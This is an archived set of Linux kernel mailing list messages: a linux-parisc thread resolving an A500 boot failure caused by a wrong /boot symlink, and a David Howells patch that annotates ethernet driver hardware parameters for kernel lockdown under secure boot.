Date: Mon, 28 Nov 2016 22:23:42 +0200 (EET)
Lines: 30
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1611282220060.12618@math.ut.ee>
References: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee> <e8a4822d-bd78-7d5a-9c4b-b515b6fa8eb1@gmx.de> <alpine.LRH.2.20.1611272329430.19497@math.ut.ee> <3aa51712-b586-aefc-8e1f-b81b97c0729a@gmx.de> <alpine.LRH.2.20.1611280013540.19497@math.ut.ee>
 <trinity-e31b21fb-9eb0-43ac-9d20-c8882740e7d6-1480347397040@3capp-gmx-bs03> <trinity-2cc16b5d-53b2-4332-8a92-566526865345-1480347604360@3capp-gmx-bs71> <alpine.LRH.2.20.1611282036240.11649@math.ut.ee> <02c86f80-c5c8-c652-21b4-2a32d51c15fe@gmx.de>
 <98c1d3ba-53be-57f6-5a06-5c4895c4bf6c@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1480359099 8529 195.159.176.226 (28 Nov 2016 18:51:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 28 Nov 2016 18:51:39 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 28 19:51:35 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cBR1Z-0000zH-FO
	for glpp-linux-parisc@m.gmane.org; Mon, 28 Nov 2016 19:51:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753847AbcK1Svf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 28 Nov 2016 13:51:35 -0500
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:33442 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752340AbcK1SvZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 28 Nov 2016 13:51:25 -0500
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id 8D16390076;
        Mon, 28 Nov 2016 20:51:21 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 55057221918; Mon, 28 Nov 2016 22:23:42 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 8E5E2220E17;
        Mon, 28 Nov 2016 22:23:42 +0200 (EET)
In-Reply-To: <98c1d3ba-53be-57f6-5a06-5c4895c4bf6c@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27083
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27083>

> The only differences I currently see between your and my setup are:
> 1. My palo partition contains a vmlinux file (you need to add a vmlinux file to your /etc/palo.conf file and rerun "palo -v").

I pondered about that - what do you mean...

and then it dawned on me - I have wrong symlink under /boot. On most 
machines I have symlink named test that points to my latest test kernel, 
but on parisc I had default vmlinux since installerkenl worked out of 
the box with it. So it just worked, until I removed vmlinux and created 
"test" symlink by mistake whern testing 4.9-rc*. Now I recreated the 
vmlinux symlink and the new kernels just work.

So it was a bad user error my side, probably from staying up too late 
some day :)

However, palo seems to miss error handling in that case.

> 2. In my setup I didn't added "console=ttyS0". palo does that by itself if you run via serial console.

Yes, I removed it and serial console just keeps working.

Thank you!

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: parsic: strange boot crash on a500
Date: Mon, 28 Nov 2016 20:41:21 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <664aac8f-f2cd-07bd-9fad-c65ec21d314f@gmx.de>
References: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee>
 <e8a4822d-bd78-7d5a-9c4b-b515b6fa8eb1@gmx.de>
 <alpine.LRH.2.20.1611272329430.19497@math.ut.ee>
 <3aa51712-b586-aefc-8e1f-b81b97c0729a@gmx.de>
 <alpine.LRH.2.20.1611280013540.19497@math.ut.ee>
 <trinity-e31b21fb-9eb0-43ac-9d20-c8882740e7d6-1480347397040@3capp-gmx-bs03>
 <trinity-2cc16b5d-53b2-4332-8a92-566526865345-1480347604360@3capp-gmx-bs71>
 <alpine.LRH.2.20.1611282036240.11649@math.ut.ee>
 <02c86f80-c5c8-c652-21b4-2a32d51c15fe@gmx.de>
 <98c1d3ba-53be-57f6-5a06-5c4895c4bf6c@gmx.de>
 <alpine.LRH.2.20.1611282220060.12618@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1480362098 12956 195.159.176.226 (28 Nov 2016 19:41:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 28 Nov 2016 19:41:38 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 28 20:41:30 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cBRns-0001gG-CV
	for glpp-linux-parisc@m.gmane.org; Mon, 28 Nov 2016 20:41:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754221AbcK1Tl2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 28 Nov 2016 14:41:28 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:57625 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753895AbcK1Tl2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 28 Nov 2016 14:41:28 -0500
Original-Received: from [192.168.20.60] ([92.203.17.97]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0Lev1D-1cUsub1oX1-00qhLp; Mon, 28
 Nov 2016 20:41:22 +0100
In-Reply-To: <alpine.LRH.2.20.1611282220060.12618@math.ut.ee>
X-Provags-ID: V03:K0:nsefILC1e31RxL+B1J+I8gEndPO9m77jkpGoUTubX47cbNBAUSk
 uASFxDm/T9/m+uK92qiw73IfFwQkgo+TTVfHsJJdEELMGash21bZn76FAXiGV/0nfmFoJTX
 xyQ+Ha4YZJyOnE7ajMQafW6UevSo0uUJvRLNcKmjsdXfcv034+PVLzOQkogol2wZi0QssrF
 i5GUocmknn24TKN9Lu8Dg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:p3yJzjw7nRk=:6tgCBEdZlgWWYe9YpEfdkV
 eVd6gjutmzIRukSG6H9qgk4UjJcwl5qpJubuHkqyCsL63PL4Zy89wB635P1nZxCrdNTVqrOvM
 2SggKD1Z48nOAovbqq4EO0mlnYzutw7RNq6XjUtF7Rd9XnxHhn5Lz5wTM0UQaxOQjNcwFt2fB
 DTGl74CMCO9wve36W/OC713dVhgraditGW0ZcVBjPfynskd2Jw8QVNLjHSgfFuh7gA5SyashW
 vkboCZ4SmaaOv83zEXQDuSTAaAJLiYwSa4vtEsMO2hjlRPCIsO7AIXB2WeU+Hq/nMar6sXqBv
 QRZAekwhAJLVipe51SQmpgYKz1o3QlMdmFCXO/JdVoJYl9bHEpgQm+Yy2H66Oid16vodwx4Jk
 m+SW/B+FOdzhhtTLhX+bjQ94UJOGiud6v+HmAlqpUuz8+ZG5VIMWYa1OtLTyegzyApD7tv1O9
 86RxwUAS+QnRnkRIywtdfm782Klv5f28j75DU9c7H/qYAJwYRfYSx5JGWcqzxM1X+plBH8F/4
 V/UqhoPEV24wpI4B/nBxNRU3QXlWa6HSK/WRoaXi60a/f1c7IUwsQaQG9z/N05qlrK7KJIPMF
 3uwrqq4NUBfYaCZpITMYKaANphXBAPHz+cd5RftwIPis2VgbREiuA2VFM2kN8EMAlx095kjSE
 MTas+ahnV3dtvHFee5el/n8r9KCrv8EkOoTlFBcyUWoLE4WVFhqwpul26swlqZjxjgB1qSewV
 b9gZ0gglhL5FqZjp0RqSjEUQ3+RYF5KghxeuD2PkttfalpggPCi7sYjCJ0fb7TLLrrG//HaP 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27084
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27084>

Hi Meelis,

On 28.11.2016 21:23, Meelis Roos wrote:
>> The only differences I currently see between your and my setup are:
>> 1. My palo partition contains a vmlinux file (you need to add a vmlinux file to your /etc/palo.conf file and rerun "palo -v").
> 
> I pondered about that - what do you mean...

Inside the palo partition, a vmlinux & initrd file can be stored,
just in case if /boot isn't readable.
Those two files need to be configured in /etc/palo.conf with those parameters:
--recoverykernel=/boot/vmlinux.recovery
--ramdisk=/boot/initrd.recovery
Afterwards you need to run "palo -v" once.

When the IPL loader from palo is started, you can select those kernel/initrd files
via partition "0", e.g. 0/vmlinux and 0/initrd.
partition 1 is the palo partition, partition 2 is usually the /boot (ext2) partition.

It's a fallback solution for booting a system.
 
> and then it dawned on me - I have wrong symlink under /boot. On most 
> machines I have symlink named test that points to my latest test kernel, 
> but on parisc I had default vmlinux since installerkenl worked out of 
> the box with it. So it just worked, until I removed vmlinux and created 
> "test" symlink by mistake whern testing 4.9-rc*. Now I recreated the 
> vmlinux symlink and the new kernels just work.
> 
> So it was a bad user error my side, probably from staying up too late 
> some day :)
> 
> However, palo seems to miss error handling in that case.

Agreed, I'll try to fix that.

>> 2. In my setup I didn't added "console=ttyS0". palo does that by itself if you run via serial console.
> 
> Yes, I removed it and serial console just keeps working.

Ok.

> Thank you!

No problem.
Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.lsm
Subject: [PATCH 19/39] Annotate hardware config module parameters in
 drivers/net/ethernet/
Date: Thu, 01 Dec 2016 12:32:09 +0000
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
 Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
 Kingdom.
 Registered in England and Wales under Company Registration No. 3798903
Lines: 231
Approved: news@gmane.org
Message-ID: <148059552991.31612.15441447924877381412.stgit@warthog.procyon.org.uk>
References: <148059537897.31612.9461043954611464597.stgit@warthog.procyon.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1480595960 22877 195.159.176.226 (1 Dec 2016 12:39:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 1 Dec 2016 12:39:20 +0000 (UTC)
User-Agent: StGit/0.17.1-dirty
Cc: minyard@acm.org, gnomes@lxorguk.ukuu.org.uk,
        Steffen Klassert <klassert@mathematik.tu-chemnitz.de>,
        linux-parisc@vger.kernel.org, netdev@vger.kernel.org,
        Jaroslav Kysela <perex@perex.cz>, dhowells@redhat.com,
        linux-security-module@vger.kernel.org, keyrings@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Dec 01 13:39:15 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cCQdr-0004a9-Fy
	for glk-linux-kernel-3@m.gmane.org; Thu, 01 Dec 2016 13:39:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933094AbcLAMjL (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 1 Dec 2016 07:39:11 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:51912 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S933722AbcLAMcn (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 1 Dec 2016 07:32:43 -0500
Original-Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id BFC1C624D7;
        Thu,  1 Dec 2016 12:32:13 +0000 (UTC)
Original-Received: from warthog.procyon.org.uk (ovpn-116-110.phx2.redhat.com [10.3.116.110])
        by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id uB1CWAcJ031548;
        Thu, 1 Dec 2016 07:32:10 -0500
In-Reply-To: <148059537897.31612.9461043954611464597.stgit@warthog.procyon.org.uk>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.39]); Thu, 01 Dec 2016 12:32:14 +0000 (UTC)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2361848 gmane.linux.ports.parisc:27085 gmane.linux.network:443079 gmane.linux.kernel.lsm:30513
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2361848>

When the kernel is running in secure boot mode, we lock down the kernel to
prevent userspace from modifying the running kernel image.  Whilst this
includes prohibiting access to things like /dev/mem, it must also prevent
access by means of configuring driver modules in such a way as to cause a
device to access or modify the kernel image.

To this end, annotate module_param* statements that refer to hardware
configuration and indicate for future reference what type of parameter they
specify.  The parameter parser in the core sees this information and can
skip such parameters with an error message if the kernel is locked down.
The module initialisation then runs as normal, but just sees whatever the
default values for those parameters is.

Note that we do still need to do the module initialisation because some
drivers have viable defaults set in case parameters aren't specified and
some drivers support automatic configuration (e.g. PNP or PCI) in addition
to manually coded parameters.

This patch annotates drivers in drivers/net/ethernet/.

Suggested-by: One Thousand Gnomes <gnomes@lxorguk.ukuu.org.uk>
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Steffen Klassert <klassert@mathematik.tu-chemnitz.de>
cc: Jaroslav Kysela <perex@perex.cz>
cc: netdev@vger.kernel.org
cc: linux-parisc@vger.kernel.org
---

 drivers/net/ethernet/3com/3c509.c      |    2 +-
 drivers/net/ethernet/3com/3c59x.c      |    4 ++--
 drivers/net/ethernet/8390/ne.c         |    4 ++--
 drivers/net/ethernet/8390/smc-ultra.c  |    4 ++--
 drivers/net/ethernet/8390/wd.c         |    8 ++++----
 drivers/net/ethernet/amd/lance.c       |    6 +++---
 drivers/net/ethernet/amd/ni65.c        |    6 +++---
 drivers/net/ethernet/cirrus/cs89x0.c   |    6 +++---
 drivers/net/ethernet/dec/tulip/de4x5.c |    2 +-
 drivers/net/ethernet/hp/hp100.c        |    2 +-
 drivers/net/ethernet/realtek/atp.c     |    4 ++--
 drivers/net/ethernet/smsc/smc9194.c    |    4 ++--
 12 files changed, 26 insertions(+), 26 deletions(-)

diff --git a/drivers/net/ethernet/3com/3c509.c b/drivers/net/ethernet/3com/3c509.c
index 91ada52f776b..33a6d67ee182 100644
--- a/drivers/net/ethernet/3com/3c509.c
+++ b/drivers/net/ethernet/3com/3c509.c
@@ -1369,7 +1369,7 @@ el3_resume(struct device *pdev)
 #endif /* CONFIG_PM */
 
 module_param(debug,int, 0);
-module_param_array(irq, int, NULL, 0);
+module_param_hw_array(irq, int, irq, NULL, 0);
 module_param(max_interrupt_work, int, 0);
 MODULE_PARM_DESC(debug, "debug level (0-6)");
 MODULE_PARM_DESC(irq, "IRQ number(s) (assigned)");
diff --git a/drivers/net/ethernet/3com/3c59x.c b/drivers/net/ethernet/3com/3c59x.c
index 9133e7926da5..d041e3c7c3e6 100644
--- a/drivers/net/ethernet/3com/3c59x.c
+++ b/drivers/net/ethernet/3com/3c59x.c
@@ -813,8 +813,8 @@ module_param(global_enable_wol, int, 0);
 module_param_array(enable_wol, int, NULL, 0);
 module_param(rx_copybreak, int, 0);
 module_param(max_interrupt_work, int, 0);
-module_param(compaq_ioaddr, int, 0);
-module_param(compaq_irq, int, 0);
+module_param_hw(compaq_ioaddr, int, ioport, 0);
+module_param_hw(compaq_irq, int, irq, 0);
 module_param(compaq_device_id, int, 0);
 module_param(watchdog, int, 0);
 module_param(global_use_mmio, int, 0);
diff --git a/drivers/net/ethernet/8390/ne.c b/drivers/net/ethernet/8390/ne.c
index c063b410a163..66f47987e2a2 100644
--- a/drivers/net/ethernet/8390/ne.c
+++ b/drivers/net/ethernet/8390/ne.c
@@ -74,8 +74,8 @@ static int bad[MAX_NE_CARDS];
 static u32 ne_msg_enable;
 
 #ifdef MODULE
-module_param_array(io, int, NULL, 0);
-module_param_array(irq, int, NULL, 0);
+module_param_hw_array(io, int, ioport, NULL, 0);
+module_param_hw_array(irq, int, irq, NULL, 0);
 module_param_array(bad, int, NULL, 0);
 module_param_named(msg_enable, ne_msg_enable, uint, (S_IRUSR|S_IRGRP|S_IROTH));
 MODULE_PARM_DESC(io, "I/O base address(es),required");
diff --git a/drivers/net/ethernet/8390/smc-ultra.c b/drivers/net/ethernet/8390/smc-ultra.c
index 139385dcdaa7..c5dbf6938a4e 100644
--- a/drivers/net/ethernet/8390/smc-ultra.c
+++ b/drivers/net/ethernet/8390/smc-ultra.c
@@ -562,8 +562,8 @@ static struct net_device *dev_ultra[MAX_ULTRA_CARDS];
 static int io[MAX_ULTRA_CARDS];
 static int irq[MAX_ULTRA_CARDS];
 
-module_param_array(io, int, NULL, 0);
-module_param_array(irq, int, NULL, 0);
+module_param_hw_array(io, int, ioport, NULL, 0);
+module_param_hw_array(irq, int, irq, NULL, 0);
 module_param_named(msg_enable, ultra_msg_enable, uint, (S_IRUSR|S_IRGRP|S_IROTH));
 MODULE_PARM_DESC(io, "I/O base address(es)");
 MODULE_PARM_DESC(irq, "IRQ number(s) (assigned)");
diff --git a/drivers/net/ethernet/8390/wd.c b/drivers/net/ethernet/8390/wd.c
index dd7d816bde52..e16deef661e3 100644
--- a/drivers/net/ethernet/8390/wd.c
+++ b/drivers/net/ethernet/8390/wd.c
@@ -504,10 +504,10 @@ static int irq[MAX_WD_CARDS];
 static int mem[MAX_WD_CARDS];
 static int mem_end[MAX_WD_CARDS];	/* for non std. mem size */
 
-module_param_array(io, int, NULL, 0);
-module_param_array(irq, int, NULL, 0);
-module_param_array(mem, int, NULL, 0);
-module_param_array(mem_end, int, NULL, 0);
+module_param_hw_array(io, int, ioport, NULL, 0);
+module_param_hw_array(irq, int, irq, NULL, 0);
+module_param_hw_array(mem, int, iomem, NULL, 0);
+module_param_hw_array(mem_end, int, iomem, NULL, 0);
 module_param_named(msg_enable, wd_msg_enable, uint, (S_IRUSR|S_IRGRP|S_IROTH));
 MODULE_PARM_DESC(io, "I/O base address(es)");
 MODULE_PARM_DESC(irq, "IRQ number(s) (ignored for PureData boards)");
diff --git a/drivers/net/ethernet/amd/lance.c b/drivers/net/ethernet/amd/lance.c
index abb1ba228b26..1b5603c30bd2 100644
--- a/drivers/net/ethernet/amd/lance.c
+++ b/drivers/net/ethernet/amd/lance.c
@@ -318,9 +318,9 @@ static int io[MAX_CARDS];
 static int dma[MAX_CARDS];
 static int irq[MAX_CARDS];
 
-module_param_array(io, int, NULL, 0);
-module_param_array(dma, int, NULL, 0);
-module_param_array(irq, int, NULL, 0);
+module_param_hw_array(io, int, ioport, NULL, 0);
+module_param_hw_array(dma, int, dma, NULL, 0);
+module_param_hw_array(irq, int, irq, NULL, 0);
 module_param(lance_debug, int, 0);
 MODULE_PARM_DESC(io, "LANCE/PCnet I/O base address(es),required");
 MODULE_PARM_DESC(dma, "LANCE/PCnet ISA DMA channel (ignored for some devices)");
diff --git a/drivers/net/ethernet/amd/ni65.c b/drivers/net/ethernet/amd/ni65.c
index cda53db75f17..8b2e4deefdd4 100644
--- a/drivers/net/ethernet/amd/ni65.c
+++ b/drivers/net/ethernet/amd/ni65.c
@@ -1228,9 +1228,9 @@ static void set_multicast_list(struct net_device *dev)
 #ifdef MODULE
 static struct net_device *dev_ni65;
 
-module_param(irq, int, 0);
-module_param(io, int, 0);
-module_param(dma, int, 0);
+module_param_hw(irq, int, irq, 0);
+module_param_hw(io, int, ioport, 0);
+module_param_hw(dma, int, dma, 0);
 MODULE_PARM_DESC(irq, "ni6510 IRQ number (ignored for some cards)");
 MODULE_PARM_DESC(io, "ni6510 I/O base address");
 MODULE_PARM_DESC(dma, "ni6510 ISA DMA channel (ignored for some cards)");
diff --git a/drivers/net/ethernet/cirrus/cs89x0.c b/drivers/net/ethernet/cirrus/cs89x0.c
index c363b58552e9..424f62b28c63 100644
--- a/drivers/net/ethernet/cirrus/cs89x0.c
+++ b/drivers/net/ethernet/cirrus/cs89x0.c
@@ -1705,12 +1705,12 @@ static int use_dma;			/* These generate unused var warnings if ALLOW_DMA = 0 */
 static int dma;
 static int dmasize = 16;		/* or 64 */
 
-module_param(io, int, 0);
-module_param(irq, int, 0);
+module_param_hw(io, int, ioport, 0);
+module_param_hw(irq, int, irq, 0);
 module_param(debug, int, 0);
 module_param_string(media, media, sizeof(media), 0);
 module_param(duplex, int, 0);
-module_param(dma , int, 0);
+module_param_hw(dma , int, dma, 0);
 module_param(dmasize , int, 0);
 module_param(use_dma , int, 0);
 MODULE_PARM_DESC(io, "cs89x0 I/O base address");
diff --git a/drivers/net/ethernet/dec/tulip/de4x5.c b/drivers/net/ethernet/dec/tulip/de4x5.c
index 6620fc861c47..9ba1a318916d 100644
--- a/drivers/net/ethernet/dec/tulip/de4x5.c
+++ b/drivers/net/ethernet/dec/tulip/de4x5.c
@@ -1015,7 +1015,7 @@ static int     compact_infoblock(struct net_device *dev, u_char count, u_char *p
 
 static int io=0x0;/* EDIT THIS LINE FOR YOUR CONFIGURATION IF NEEDED        */
 
-module_param(io, int, 0);
+module_param_hw(io, int, ioport, 0);
 module_param(de4x5_debug, int, 0);
 module_param(dec_only, int, 0);
 module_param(args, charp, 0);
diff --git a/drivers/net/ethernet/hp/hp100.c b/drivers/net/ethernet/hp/hp100.c
index 631dbc7b4dbb..eab44abb24ba 100644
--- a/drivers/net/ethernet/hp/hp100.c
+++ b/drivers/net/ethernet/hp/hp100.c
@@ -2968,7 +2968,7 @@ MODULE_DESCRIPTION("HP CASCADE Architecture Driver for 100VG-AnyLan Network Adap
 #define HP100_DEVICES 5
 /* Parameters set by insmod */
 static int hp100_port[HP100_DEVICES] = { 0, [1 ... (HP100_DEVICES-1)] = -1 };
-module_param_array(hp100_port, int, NULL, 0);
+module_param_hw_array(hp100_port, int, ioport, NULL, 0);
 
 /* List of devices */
 static struct net_device *hp100_devlist[HP100_DEVICES];
diff --git a/drivers/net/ethernet/realtek/atp.c b/drivers/net/ethernet/realtek/atp.c
index 5cb96785fb63..619938322915 100644
--- a/drivers/net/ethernet/realtek/atp.c
+++ b/drivers/net/ethernet/realtek/atp.c
@@ -151,8 +151,8 @@ MODULE_LICENSE("GPL");
 
 module_param(max_interrupt_work, int, 0);
 module_param(debug, int, 0);
-module_param_array(io, int, NULL, 0);
-module_param_array(irq, int, NULL, 0);
+module_param_hw_array(io, int, ioport, NULL, 0);
+module_param_hw_array(irq, int, irq, NULL, 0);
 module_param_array(xcvr, int, NULL, 0);
 MODULE_PARM_DESC(max_interrupt_work, "ATP maximum events handled per interrupt");
 MODULE_PARM_DESC(debug, "ATP debug level (0-7)");
diff --git a/drivers/net/ethernet/smsc/smc9194.c b/drivers/net/ethernet/smsc/smc9194.c
index d496888b85d3..1bfae24066ce 100644
--- a/drivers/net/ethernet/smsc/smc9194.c
+++ b/drivers/net/ethernet/smsc/smc9194.c
@@ -1502,8 +1502,8 @@ static void smc_set_multicast_list(struct net_device *dev)
 static struct net_device *devSMC9194;
 MODULE_LICENSE("GPL");
 
-module_param(io, int, 0);
-module_param(irq, int, 0);
+module_param_hw(io, int, ioport, 0);
+module_param_hw(irq, int, irq, 0);
 module_param(ifport, int, 0);
 MODULE_PARM_DESC(io, "SMC 99194 I/O base address");
 MODULE_PARM_DESC(irq, "SMC 99194 IRQ number");



From - Thu Nov 08 21:39:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: parsic: strange boot crash on a500
Date: Sat, 3 Dec 2016 22:11:04 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <1f4ef55f-cae9-03a7-0fea-795910a7dcd0@gmx.de>
References: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee>
 <e8a4822d-bd78-7d5a-9c4b-b515b6fa8eb1@gmx.de>
 <alpine.LRH.2.20.1611272329430.19497@math.ut.ee>
 <3aa51712-b586-aefc-8e1f-b81b97c0729a@gmx.de>
 <alpine.LRH.2.20.1611280013540.19497@math.ut.ee>
 <trinity-e31b21fb-9eb0-43ac-9d20-c8882740e7d6-1480347397040@3capp-gmx-bs03>
 <trinity-2cc16b5d-53b2-4332-8a92-566526865345-1480347604360@3capp-gmx-bs71>
 <alpine.LRH.2.20.1611282036240.11649@math.ut.ee>
 <02c86f80-c5c8-c652-21b4-2a32d51c15fe@gmx.de>
 <98c1d3ba-53be-57f6-5a06-5c4895c4bf6c@gmx.de>
 <alpine.LRH.2.20.1611282220060.12618@math.ut.ee>
 <664aac8f-f2cd-07bd-9fad-c65ec21d314f@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1480799473 28287 195.159.176.226 (3 Dec 2016 21:11:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Dec 2016 21:11:13 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: null <linux-parisc@vger.kernel.org>
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 03 22:11:09 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cDHaO-0002bu-A0
	for glpp-linux-parisc@m.gmane.org; Sat, 03 Dec 2016 22:11:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751292AbcLCVLM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 3 Dec 2016 16:11:12 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:52929 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750873AbcLCVLL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 3 Dec 2016 16:11:11 -0500
Original-Received: from [192.168.20.60] ([92.203.24.177]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MHXd2-1cGaRB3dV6-003KBk; Sat, 03
 Dec 2016 22:11:06 +0100
In-Reply-To: <664aac8f-f2cd-07bd-9fad-c65ec21d314f@gmx.de>
X-Provags-ID: V03:K0:Opsp02UgCJmzGf8UT7ABheXrfAEU28gdEjgQzEyJ5mT3RtbBmxa
 hq+pDx9IfnSdJ8sFjAAsmildLbyVByYXlc0VQ3z3PxT3v1T6DPYBXXb8EIFYHI72wOd++CH
